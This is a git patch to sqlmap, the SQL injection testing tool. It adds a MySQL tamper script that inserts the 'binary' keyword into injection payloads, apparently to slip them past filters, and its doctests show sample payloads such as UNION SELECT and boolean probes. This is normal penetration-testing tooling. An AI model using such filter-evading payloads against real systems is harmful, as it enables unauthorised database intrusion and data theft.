From b719b9612f9b57817355852f0e811e48049e288d Mon Sep 17 00:00:00 2001
From: Miroslav Stampar <miroslav.stampar@gmail.com>
Date: Wed, 29 Jul 2020 13:40:23 +0200
Subject: [PATCH] Adding new tamper script

---
 lib/core/settings.py |  2 +-
 tamper/binary.py     | 43 +++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 44 insertions(+), 1 deletion(-)
 create mode 100644 tamper/binary.py

diff --git a/lib/core/settings.py b/lib/core/settings.py
index 0b9efeb83..4e3d303aa 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -18,7 +18,7 @@ from lib.core.enums import OS
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.4.7.24"
+VERSION = "1.4.7.25"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/tamper/binary.py b/tamper/binary.py
new file mode 100644
index 000000000..8b0d3b4ef
--- /dev/null
+++ b/tamper/binary.py
@@ -0,0 +1,43 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+import re
+
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.HIGHEST
+
+def dependencies():
+    pass
+
+def tamper(payload, **kwargs):
+    """
+    Injects keyword binary where possible
+
+    Requirement:
+        * MySQL
+
+    >>> tamper('1 UNION ALL SELECT NULL, NULL, NULL')
+    '1 UNION ALL SELECT binary NULL, binary NULL, binary NULL'
+    >>> tamper('1 AND 2>1')
+    '1 AND binary 2>binary 1'
+    >>> tamper('CASE WHEN (1=1) THEN 1 ELSE 0x28 END')
+    'CASE WHEN (binary 1=binary 1) THEN binary 1 ELSE binary 0x28 END'
+    """
+
+    retVal = payload
+
+    if payload:
+        retVal = re.sub(r"\bNULL\b", "binary NULL", retVal)
+        retVal = re.sub(r"\b(THEN\s+)(\d+|0x[0-9a-f]+)(\s+ELSE\s+)(\d+|0x[0-9a-f]+)", r"\g<1>binary \g<2>\g<3>binary \g<4>", retVal)
+        retVal = re.sub(r"(\d+\s*[>=]\s*)(\d+)", r"binary \g<1>binary \g<2>", retVal)
+        retVal = re.sub(r"\b((AND|OR)\s*)(\d+)", r"\g<1>binary \g<3>", retVal)
+        retVal = re.sub(r"([>=]\s*)(\d+)", r"\g<1>binary \g<2>", retVal)
+        retVal = re.sub(r"\b(0x[0-9a-f]+)", r"binary \g<1>", retVal)
+        retVal = re.sub(r"(\s+binary)+", r"\g<1>", retVal)
+
+    return retVal